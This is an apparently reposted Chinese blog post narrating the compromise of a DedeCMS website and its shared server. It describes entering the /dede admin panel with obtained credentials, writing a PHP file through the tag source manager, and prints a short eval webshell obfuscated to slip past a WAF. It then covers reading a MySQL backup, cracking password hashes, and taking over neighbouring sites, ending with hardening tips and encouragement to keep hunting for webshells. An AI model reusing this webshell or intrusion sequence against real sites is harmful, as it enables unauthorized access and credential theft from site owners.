1. 程式人生 > >一次特別的DedeCMS拿站經歷

一次特別的DedeCMS拿站經歷

源碼 技術 執行 處理 管理員 blog 密文 建議 可執行

一系列故事的開端:

這是搜到的一個Dede站點的後臺

路徑為/dede

技術分享圖片

獲得到該站點的用戶名以及密碼後(這裏不具體說明),輸入用戶名和密碼之後就進入了後臺,並且下意識的打開了文件管理器

不過管理員也不是等閑之輩,早已卸載該模塊

技術分享圖片

於是,我找到了另一處可以生成PHP文件的地方

技術分享圖片

在”標簽源碼管理“這裏可以創建PHP腳本文件

技術分享圖片

去掉默認的代碼,寫入eval代碼,點擊保存,文件會存放在 /include/taglib 目錄下

註:由於服務器有WAF,PHP腳本進行了簡單的混淆

<?php
$a='b';
$b=$_POST['x'];
eval($$a);
?>

於是菜刀連接之:

剛開始看到其他站點目錄無權限時,並沒有想到能夠進行旁註

技術分享圖片

由於管理員權限設置不當,mysql數據庫的一個備份副本有權限讀取,於是下載了user.MYD

用記事本打開,發現除了root的密碼cmd5解不出來,剩下的數據庫用戶的密碼都能在cmd5上獲取到原文(這裏要鼓勵一下站長大大,沒有為root用戶設置過弱的密碼,不然這個服務器就能被提權了)

對於提權呢,在這裏說一句,由於該服務器的IIS用戶為低權限用戶,並且系統補丁修補的也很完全,PHP配置上也進行了降權處理,因此暫時無法威脅到服務器的安全。

然而,旁站所有數據庫賬號(100多個)的泄露則可以輕易的拿下旁站,在這裏就不詳細說明了,大致思路基本上就是用webshell連接mysql數據庫,尋找類似config、admin、manager、siteconfig這樣的表,獲取到站點的域名、標題等等的信息以便找到該站點,並且獲取後臺管理員的賬號以及密碼,從而登錄後臺,最後拿到webshell。

同理,在另一個目錄中,我也找到了MSSQL2005的數據庫備份文件,這裏就不進行詳細的說明了

案例分析:

這個服務器的管理員的做法並不是完全要被否定的,雖然那個DedeCMS被輕易的拿下了,但是在服務器安全方面也進行了一定程度上的強化。剛拿到webshell的時候,發現對於其他站點沒有讀寫權限,可能很多人到這一步就會放棄嘗試旁註,但是如果仔細分析服務器環境,可能能得到意外驚喜。旁註得以實現的原因,在於Windows Server 2008 R2服務器的磁盤分區在被格式化後,磁盤分區的根目錄默認有一個Users的讀取、寫入以及修改的權限,通過文件權限的繼承,E盤分區下的所有文件對於Users都具有了讀取權限,對於大多數人來說,自然會認為數據盤分區的權限並不會影響到站點的安全,可能並不會去重視此處的權限。然而,數據盤中備份的數據卻將所有站點的Mysql數據庫密碼出賣給了別人。


小結:

  1. 對於使用DedeCMS的站長們來說,建議修改DedeCMS後臺的路徑,限制站點的可執行權限以及可寫入權限。

  2. 拿DedeCMS站點時,發現管理員對站點做一定限制時不要灰心,因為DedeCMS可寫入webshell的地方還是很多的,只要耐心,往往都能拿到webshell

  3. 在做服務器安全強化時,不要忽視數據盤權限帶來的隱患,從小處來說,可能會泄露服務器使用的軟件、運行環境,從大危害的方面來說,可能造成數據庫密碼泄露、FTP密碼泄露、旁註等問題,嚴重的話,還有可能服務器被提權(在這個案例中,如果管理員設置的root密碼比較簡單,下載user.MYD時獲取到的密文就可以解密,從而得到root賬號的密碼,進而利用root高權限賬號提權該服務器)。

更多內容,關註昔年互聯網安全比賽網站


一次特別的DedeCMS拿站經歷